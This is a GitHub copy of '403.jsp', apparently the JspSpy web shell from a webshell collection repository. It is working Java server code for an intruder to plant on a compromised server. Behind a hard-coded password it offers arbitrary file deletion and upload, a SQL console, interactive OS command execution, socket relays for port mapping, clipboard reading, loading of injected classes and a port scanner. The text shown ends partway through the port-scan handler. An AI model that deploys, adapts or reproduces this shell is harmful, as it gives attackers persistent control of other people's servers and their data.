forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
403.jsp
3312 lines (3248 loc) · 118 KB
/
403.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<%@page pageEncoding="utf-8"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.util.regex.*"%>
<%@page import="java.sql.*"%>
<%@page import="java.lang.reflect.*"%>
<%@page import="java.nio.charset.*"%>
<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
<%@page import="java.text.*"%>
<%@page import="java.net.*"%>
<%@page import="java.util.zip.*"%>
<%@page import="java.util.jar.*"%>
<%@page import="java.awt.*"%>
<%@page import="java.awt.image.*"%>
<%@page import="javax.imageio.*"%>
<%@page import="java.awt.datatransfer.DataFlavor"%>
<%@page import="java.util.prefs.Preferences"%>
<%!
/**
* by n1nty
* CY . I Love You.
*/
private static final String PW = "baojuhua"; //password
private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
private static final String REQUEST_CHARSET = "ISO-8859-1";
private static final String PAGE_CHARSET = "UTF-8";
private static final String CURRENT_DIR = "currentdir";
private static final String MSG = "SHOWMSG";
private static final String PORT_MAP = "PMSA";
private static final String DBO = "DBO";
private static final String SHELL_ONLINE = "SHELL_ONLINE";
private static final String ENTER = "ENTER_FILE";
private static final String ENTER_MSG = "ENTER_FILE_MSG";
private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
private static final String SESSION_O = "SESSION_O";
private static String SHELL_NAME = "";
private static String WEB_ROOT = null;
private static String SHELL_DIR = null;
public static Map ins = new HashMap();
private static boolean ISLINUX = false;
private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
private static class MyRequest extends HttpServletRequestWrapper {
public MyRequest(HttpServletRequest req) {
super(req);
}
public String getParameter(String name) {
try {
String value = super.getParameter(name);
if (name == null)
return null;
return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
} catch (Exception e) {
return null;
}
}
}
private static class SpyClassLoader extends ClassLoader{
public SpyClassLoader() {
}
public Class defineClass(String name,byte[] b) {
return super.defineClass(name,b,0,b.length - 2);
}
}
private static class DBOperator{
private Connection conn = null;
private Statement stmt = null;
private String driver;
private String url;
private String uid;
private String pwd;
public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
this(driver,url,uid,pwd,false);
}
public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
Class.forName(driver);
if (connect)
this.conn = DriverManager.getConnection(url,uid,pwd);
this.url = url;
this.driver = driver;
this.uid = uid;
this.pwd = pwd;
}
public void connect() throws Exception{
this.conn = DriverManager.getConnection(url,uid,pwd);
}
public Object execute(String sql) throws Exception {
if (isValid()) {
stmt = conn.createStatement();
if (stmt.execute(sql)) {
return stmt.getResultSet();
} else {
return ""+stmt.getUpdateCount();
}
}
throw new Exception("Connection is inValid.");
}
public void closeStmt() throws Exception{
if (this.stmt != null)
stmt.close();
}
public boolean isValid() throws Exception {
return conn != null && !conn.isClosed();
}
public void close() throws Exception {
if (isValid()) {
closeStmt();
conn.close();
}
}
public boolean equals(Object o) {
if (o instanceof DBOperator) {
DBOperator dbo = (DBOperator)o;
return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
}
return false;
}
public Connection getConn(){
return this.conn;
}
}
private static class StreamConnector extends Thread {
private InputStream is;
private OutputStream os;
public StreamConnector( InputStream is, OutputStream os ){
this.is = is;
this.os = os;
}
public void run(){
BufferedReader in = null;
BufferedWriter out = null;
try{
in = new BufferedReader( new InputStreamReader(this.is));
out = new BufferedWriter( new OutputStreamWriter(this.os));
char buffer[] = new char[8192];
int length;
while((length = in.read( buffer, 0, buffer.length ))>0){
out.write( buffer, 0, length );
out.flush();
}
} catch(Exception e){}
try{
if(in != null)
in.close();
if(out != null)
out.close();
} catch( Exception e ){}
}
public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
new Thread(new Runnable(){
public void run(){
while (true) {
try{
byte[] data = new byte[100];
int len = localIn.read(data);
while (len != -1) {
remoteOut.write(data,0,len);
len = localIn.read(data);
}
}catch (Exception e) {
break;
}
}
}
}).start();
}
public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
new Thread(new Runnable(){
public void run(){
while(true) {
try{
byte[] data = new byte[100];
int len = remoteIn.read(data);
while (len != -1) {
localOut.write(data,0,len);
len = remoteIn.read(data);
}
}catch (Exception e) {
try{
soc.close();
remoteSoc.close();
}catch(Exception ex) {
}
break;
}
}
}
}).start();
}
}
private static class EnterFile extends File{
private ZipFile zf = null;
private ZipEntry entry = null;
private boolean isDirectory = false;
private String absolutePath = null;
public void setEntry(ZipEntry e) {
this.entry = e;
}
public void setAbsolutePath(String p) {
this.absolutePath = p;
}
public void close() throws Exception{
this.zf.close();
}
public void setZf(String p) throws Exception{
if (p.toLowerCase().endsWith(".jar"))
this.zf = new JarFile(p);
else
this.zf = new ZipFile(p);
}
public EnterFile(File parent, String child) {
super(parent,child);
}
public EnterFile(String pathname) {
super(pathname);
}
public EnterFile(String pathname,boolean isDir) {
this(pathname);
this.isDirectory = isDir;
}
public EnterFile(String parent, String child) {
super(parent,child);
}
public EnterFile(URI uri) {
super(uri);
}
public boolean exists(){
return new File(this.zf.getName()).exists();
}
public File[] listFiles() {
java.util.List list = new ArrayList();
java.util.List handled = new ArrayList();
String currentDir = super.getPath();
currentDir = currentDir.replace('\\','/');
if (currentDir.indexOf("/") == 0)
{
if (currentDir.length() > 1)
currentDir = currentDir.substring(1);
else
currentDir = "";
}
Enumeration e = this.zf.entries();
while (e.hasMoreElements())
{
ZipEntry entry = (ZipEntry)e.nextElement();
String eName = entry.getName();
if (this.zf instanceof JarFile) {
if (!entry.isDirectory()){
EnterFile ef = new EnterFile(eName);
ef.setEntry(entry);
try{
ef.setZf(this.zf.getName());
}catch(Exception ex) {
}
list.add(ef);
}
} else {
if (currentDir.equals("")) {
//zip root directory
if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$"))
{
EnterFile ef = new EnterFile(eName.replaceAll("/",""));
handled.add(eName.replaceAll("/",""));
ef.setEntry(entry);
list.add(ef);
} else {
if (eName.indexOf("/") != -1) {
String tmp = eName.substring(0,eName.indexOf("/"));
if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
EnterFile ef = new EnterFile(tmp,true);
ef.setEntry(entry);
list.add(ef);
handled.add(tmp);
}
}
}
} else {
if (eName.startsWith(currentDir)) {
if (eName.matches(currentDir+"/[^/]+/?$")) {
//file.
EnterFile ef = new EnterFile(eName);
ef.setEntry(entry);
list.add(ef);
if (eName.endsWith("/")) {
String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2));
tmp = tmp.substring(1,tmp.length()-1);
handled.add(tmp);
}
} else {
//dir
try {
String tmp = eName.substring(currentDir.length()+1);
tmp = tmp.substring(0,tmp.indexOf('/'));
if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
EnterFile ef = new EnterFile(tmp,true);
ef.setAbsolutePath(currentDir+"/"+tmp);
ef.setEntry(entry);
list.add(ef);
handled.add(tmp);
}
} catch (Exception ex) {
}
}
}
}
}
}
return (File[])list.toArray(new File[0]);
}
public boolean isDirectory(){
return this.entry.isDirectory() || this.isDirectory;
}
public String getParent(){
return "";
}
public String getAbsolutePath(){
return absolutePath != null ? absolutePath : super.getPath();
}
public String getName(){
if (this.zf instanceof JarFile) {
return this.getAbsolutePath();
} else {
return super.getName();
}
}
public long lastModified(){
return entry.getTime();
}
public boolean canRead(){
return false;
}
public boolean canWrite(){
return false;
}
public boolean canExecute(){
return false;
}
public long length(){
return entry.getSize();
}
}
private static class OnLineProcess {
private String cmd = "first";
private Process pro;
public OnLineProcess(Process p){
this.pro = p;
}
public void setPro(Process p) {
this.pro = p;
}
public void setCmd(String c){
this.cmd = c;
}
public String getCmd(){
return this.cmd;
}
public Process getPro(){
return this.pro;
}
public void stop(){
this.pro.destroy();
}
}
private static class OnLineConnector extends Thread {
private OnLineProcess ol = null;
private InputStream is;
private OutputStream os;
private String name;
public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
this.is = is;
this.os = os;
this.name = name;
this.ol = ol;
}
public void run(){
BufferedReader in = null;
BufferedWriter out = null;
try{
in = new BufferedReader( new InputStreamReader(this.is));
out = new BufferedWriter( new OutputStreamWriter(this.os));
char buffer[] = new char[128];
if(this.name.equals("exeRclientO")) {
//from exe to client
int length = 0;
while((length = in.read( buffer, 0, buffer.length ))>0){
String str = new String(buffer, 0, length);
str = str.replaceAll("&","&").replaceAll("<","<").replaceAll(">",">");
str = str.replaceAll(""+(char)13+(char)10,"<br/>");
str = str.replaceAll("\n","<br/>");
out.write(str.toCharArray(), 0, str.length());
out.flush();
}
} else {
//from client to exe
while(true) {
while(this.ol.getCmd() == null) {
Thread.sleep(500);
}
if (this.ol.getCmd().equals("first")) {
this.ol.setCmd(null);
continue;
}
this.ol.setCmd(this.ol.getCmd() + (char)10);
char[] arr = this.ol.getCmd().toCharArray();
out.write(arr,0,arr.length);
out.flush();
this.ol.setCmd(null);
}
}
} catch(Exception e){
}
try{
if(in != null)
in.close();
if(out != null)
out.close();
} catch( Exception e ){
}
}
}
private static class Table{
private ArrayList rows = null;
private boolean echoTableTag = false;
public void setEchoTableTag(boolean v) {
this.echoTableTag = v;
}
public Table(){
this.rows = new ArrayList();
}
public void addRow(Row r) {
this.rows.add(r);
}
public String toString(){
StringBuffer html = new StringBuffer();
if (echoTableTag)
html.append("<table>");
for (int i = 0;i<rows.size();i++) {
Row r=(Row)rows.get(i);
html.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
ArrayList columns = r.getColumns();
for (int a = 0;a<columns.size();a++) {
Column c = (Column)columns.get(a);
html.append("<td nowrap>");
String vv = Util.htmlEncode(Util.getStr(c.getValue()));
if (vv.equals(""))
vv = " ";
html.append(vv);
html.append("</td>");
}
html.append("</tr>");
}
if (echoTableTag)
html.append("</table>");
return html.toString();
}
public static String rs2Table(ResultSet rs,String sep,boolean op) throws Exception{
StringBuffer table = new StringBuffer();
ResultSetMetaData meta = rs.getMetaData();
int count = meta.getColumnCount();
if (!op)
table.append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
else
table.append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
table.append("<script>function view(t){document.getElementById('sql').value='select * from "+sep+"'+t+'"+sep+"';}</script>");
table.append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
for (int i = 1;i<=count;i++) {
table.append("<td nowrap>"+meta.getColumnName(i)+"</td>");
}
if (op)
table.append("<td> </td>");
table.append("</tr>");
while (rs.next()) {
String tbName = null;
table.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
for (int i = 1;i<=count;i++) {
String v = rs.getString(i);
if (i == 3)
tbName = v;
table.append("<td nowrap>"+Util.null2Nbsp(v)+"</td>");
}
if (op)
table.append("<td nowrap> <a href=\"#\" onclick=\"view('"+tbName+"')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"+tbName+"'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"+tbName+"'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"+tbName+"'})\">Save To File</a> </td>");
table.append("</tr>");
}
table.append("</table><br/>");
return table.toString();
}
}
private static class Row{
private ArrayList cols = null;
public Row(){
this.cols = new ArrayList();
}
public void addColumn(Column n) {
this.cols.add(n);
}
public ArrayList getColumns(){
return this.cols;
}
}
private static class Column{
private String value;
public Column(String v){
this.value = v;
}
public String getValue(){
return this.value;
}
}
private static class Util{
public static boolean isEmpty(String s) {
return s == null || s.trim().equals("");
}
public static boolean isEmpty(Object o) {
return o == null || isEmpty(o.toString());
}
public static String getSize(long size,char danwei) {
if (danwei == 'M') {
double v = formatNumber(size / 1024.0 / 1024.0,2);
if (v > 1024) {
return getSize(size,'G');
}else {
return v + "M";
}
} else if (danwei == 'G') {
return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
} else if (danwei == 'K') {
double v = formatNumber(size / 1024.0,2);
if (v > 1024) {
return getSize(size,'M');
} else {
return v + "K";
}
} else if (danwei == 'B') {
if (size > 1024) {
return getSize(size,'K');
}else {
return size + "B";
}
}
return ""+0+danwei;
}
public static boolean exists(String[] arr,String v) {
for (int i =0;i<arr.length;i++) {
if (v.equals(arr[i])) {
return true;
}
}
return false;
}
public static double formatNumber(double value,int l) {
NumberFormat format = NumberFormat.getInstance();
format.setMaximumFractionDigits(l);
format.setGroupingUsed(false);
return new Double(format.format(value)).doubleValue();
}
public static boolean isInteger(String v) {
if (isEmpty(v))
return false;
return v.matches("^\\d+$");
}
public static String formatDate(long time) {
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
return format.format(new java.util.Date(time));
}
public static String convertPath(String path) {
return path != null ? path.replace('\\','/') : "";
}
public static String htmlEncode(String v) {
if (isEmpty(v))
return "";
return v.replaceAll("&","&").replaceAll("<","<").replaceAll(">",">");
}
public static String getStr(String s) {
return s == null ? "" :s;
}
public static String null2Nbsp(String s) {
if (s == null)
s = " ";
return s;
}
public static String getStr(Object s) {
return s == null ? "" :s.toString();
}
public static String exec(String regex, String str, int group) {
Pattern pat = Pattern.compile(regex);
Matcher m = pat.matcher(str);
if (m.find())
return m.group(group);
return null;
}
public static void outMsg(Writer out,String msg) throws Exception {
outMsg(out,msg,"center");
}
public static void outMsg(Writer out,String msg,String align) throws Exception {
out.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"</div>");
}
public static String highLight(String str) {
str = str.replaceAll("\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b","<span style='color:blue'>$1</span>");
str = str.replaceAll("\t(//.+)","\t<span style='color:green'>$1</span>");
return str;
}
}
private static class UploadBean {
private String fileName = null;
private String suffix = null;
private String savePath = "";
private ServletInputStream sis = null;
private OutputStream targetOutput = null;
private byte[] b = new byte[1024];
public void setTargetOutput(OutputStream stream) {
this.targetOutput = stream;
}
public UploadBean() {
}
public void setSavePath(String path) {
this.savePath = path;
}
public String getFileName(){
return this.fileName;
}
public void parseRequest(HttpServletRequest request) throws IOException {
sis = request.getInputStream();
int a = 0;
int k = 0;
String s = "";
while ((a = sis.readLine(b,0,b.length))!= -1) {
s = new String(b, 0, a,PAGE_CHARSET);
if ((k = s.indexOf("filename=\""))!= -1) {
s = s.substring(k + 10);
k = s.indexOf("\"");
s = s.substring(0, k);
File tF = new File(s);
if (tF.isAbsolute()) {
fileName = tF.getName();
} else {
fileName = s;
}
k = s.lastIndexOf(".");
suffix = s.substring(k + 1);
upload();
}
}
}
private void upload() throws IOException{
try {
OutputStream out = null;
if (this.targetOutput != null)
out = this.targetOutput;
else
out = new FileOutputStream(new File(savePath,fileName));
int a = 0;
int k = 0;
String s = "";
while ((a = sis.readLine(b,0,b.length))!=-1) {
s = new String(b, 0, a);
if ((k = s.indexOf("Content-Type:"))!=-1) {
break;
}
}
sis.readLine(b,0,b.length);
while ((a = sis.readLine(b,0,b.length)) != -1) {
s = new String(b, 0, a);
if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
break;
}
out.write(b, 0, a);
}
if (out instanceof FileOutputStream)
out.close();
} catch (IOException ioe) {
throw ioe;
}
}
}
%>
<%
SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
String myAbsolutePath = application.getRealPath(request.getServletPath());
if (Util.isEmpty(myAbsolutePath)) {//for weblogic
SHELL_NAME = request.getServletPath();
myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
SHELL_NAME=request.getContextPath()+SHELL_NAME;
WEB_ROOT = new File(application.getResource("/").getPath()).toString();
} else {
WEB_ROOT = application.getRealPath("/");
}
SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
if (SHELL_DIR.indexOf('/') == 0)
ISLINUX = true;
else
ISLINUX = false;
if (session.getAttribute(CURRENT_DIR) == null)
session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
request = new MyRequest(request);
if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
String o = request.getParameter("o");
if (o != null && o.equals("login")) {
((Invoker)ins.get("login")).invoke(request,response,session);
return;
} else if (o != null && o.equals("vLogin")) {
((Invoker)ins.get("vLogin")).invoke(request,response,session);
return;
} else {
((Invoker)ins.get("vLogin")).invoke(request,response,session);
return;
}
}
%>
<%!
private static interface Invoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
public boolean doBefore();
public boolean doAfter();
}
private static class DefaultInvoker implements Invoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
}
public boolean doBefore(){
return true;
}
public boolean doAfter() {
return true;
}
}
private static class ScriptInvoker extends DefaultInvoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<script type=\"text/javascript\">"+
" String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"+
" function fso(obj) {"+
" this.currentDir = '"+JSession.getAttribute(CURRENT_DIR)+"';"+
" this.filename = obj.filename;"+
" this.path = obj.path;"+
" this.filetype = obj.filetype;"+
" this.charset = obj.charset;"+
" };"+
" fso.prototype = {"+
" copy:function(){"+
" var path = prompt('Copy To : ',this.path);"+
" if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
" doPost({o:'copy',src:this.path,to:path});"+
" },"+
" move:function() {"+
" var path =prompt('Move To : ',this.path);"+
" if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
" doPost({o:'move',src:this.path,to:path})"+
" },"+
" vEdit:function() {"+
" if (!this.charset)"+
" doPost({o:'vEdit',filepath:this.path});"+
" else"+
" doPost({o:'vEdit',filepath:this.path,charset:this.charset});"+
" },"+
" down:function() {"+
" doPost({o:'down',path:this.path})"+
" },"+
" removedir:function() {"+
" if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"+
" doPost({o:'removedir',dir:this.path});"+
" },"+
" mkdir:function() {"+
" var name = prompt('Input New Directory Name','');"+
" if (name == null || name.trim().length == 0)return;"+
" doPost({o:'mkdir',name:name});"+
" },"+
" subdir:function(out) {"+
" doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"+
" },"+
" parent:function() {"+
" var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+
" doPost({o:'filelist',folder:parent})"+
" },"+
" createFile:function() {"+
" var path = prompt('Input New File Name','');"+
" if (path == null || path.trim().length == 0) return;"+
" doPost({o:'vCreateFile',filepath:path})"+
" },"+
" deleteBatch:function() {"+
" if (!confirm('Are You Sure To Delete These Files?')) return;"+
" var selected = new Array();"+
" var inputs = document.getElementsByTagName('input');"+
" for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
" if (selected.length == 0) {alert('No File Selected');return;}"+
" doPost({o:'deleteBatch',files:selected.join(',')})"+
" },"+
" packBatch:function() {"+
" var selected = new Array();"+
" var inputs = document.getElementsByTagName('input');"+
" for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
" if (selected.length == 0) {alert('No File Selected');return;}"+
" var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"+
" if (savefilename == null || savefilename.trim().length == 0)return;"+
" doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+
" },"+
" pack:function(showconfig) {"+
" if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"+
" var tmpName = '';"+
" if (this.filename.indexOf('.') == -1) tmpName = this.filename;"+
" else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"+
" tmpName += '.zip';"+
" var path = this.path;"+
" var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"+
" if (name == null || path.trim().length == 0) return;"+
" doPost({o:'pack',packedfile:path,savefilename:name})"+
" },"+
" vEditProperty:function() {"+
" var path = this.path;"+
" doPost({o:'vEditProperty',filepath:path})"+
" },"+
" unpack:function() {"+
" var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+
" if (path == null || path.trim().length == 0) return;"+
" doPost({o:'unpack',savepath:path,zipfile:this.path})"+
" },"+
" enter:function() {"+
" doPost({o:'enter',filepath:this.path})"+
" }"+
" };"+
" function doPost(obj) {"+
" var form = document.forms[\"doForm\"];"+
" var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"+
" for (var pro in obj)"+
" {"+
" var input = document.createElement(\"input\");"+
" input.type = \"hidden\";"+
" input.name = pro;"+
" input.value = obj[pro];"+
" form.appendChild(input);"+
" }"+
" form.submit();"+
" }"+
"</script>");
} catch (Exception e) {
throw e ;
}
}
}
private static class BeforeInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<html><head><title>JspSpy Private Codz By - Ninty</title><style type=\"text/css\">"+
"body,td{font: 12px Arial,Tahoma;line-height: 16px;}"+
".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"+
".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"+
".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"+
"a {color: #00f;text-decoration:underline;}"+
"a:hover{color: #f00;text-decoration:none;}"+
".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"+
".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"+
".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"+
".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"+
".head td span{font-weight:normal;}"+
"form{margin:0;padding:0;}"+
"h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+
"ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"+
"u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+
".secho{height:400px;width:100%;overflow:auto;border:none}"+
"hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"+
"</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
} catch (Exception e) {
throw e ;
}
}
}
private static class AfterInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("</body></html>");
} catch (Exception e) {
throw e ;
}
}
}
private static class DeleteBatchInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String files = request.getParameter("files");
int success = 0;
int failed = 0;
if (!Util.isEmpty(files)) {
String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
String[] arr = files.split(",");
for (int i = 0;i<arr.length;i++) {
String fs = arr[i];
File f = new File(currentDir,fs);
if(f.delete())
success += 1;
else
failed += 1;
}
}
JSession.setAttribute(MSG,success+" Files Deleted <span style='color:green'>Success</span> , "+failed+" Files Deleted <span style='color:red'>Failed</span>!");
response.sendRedirect(SHELL_NAME);
} catch (Exception e) {
throw e ;
}
}
}
private static class ClipBoardInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
" <tr>"+
" <td>"+
" <h2>System Clipboard »</h2>"+
"<p><pre>");
try{
out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
}catch (Exception ex) {
out.println("ClipBoard is Empty Or Is Not Text Data !");
}
out.println("</pre>"+
" <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\" />"+
" </p>"+
" </td>"+
" </tr>"+
"</table>");
} catch (Exception e) {
throw e ;
}
}
}
private static class VPortScanInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String ip = request.getParameter("ip");
String ports = request.getParameter("ports");
String timeout = request.getParameter("timeout");
String banner = request.getParameter("banner");
if (Util.isEmpty(ip))
ip = "127.0.0.1";
if (Util.isEmpty(ports))
ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
if (Util.isEmpty(timeout))
timeout = "2";
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<h2 id=\"Bin_H2_Title\">PortScan >></h2>"+
